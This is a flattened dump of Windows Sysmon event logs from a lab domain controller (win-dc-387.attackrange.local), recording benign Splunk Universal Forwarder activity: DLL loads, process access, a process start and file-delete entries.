15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.465{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000054170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD78B05F9052D051122B7B7F3B7D0B3D,SHA256=FC4A771C675CB5E26504325473911CA4670C094F431225872FF1A7336BF0DCB9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000054168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000054164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.449{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.450{7BD73061-73F2-613B-870B-00000000F001}7000C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000054157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:18.402{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=334E8B6793A7ECDA52FFDDE6C872D174,SHA256=61DD489B971A619818DA2B0F1935AC1ABAE87F3C24142DE9A2448936C7B5A29C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 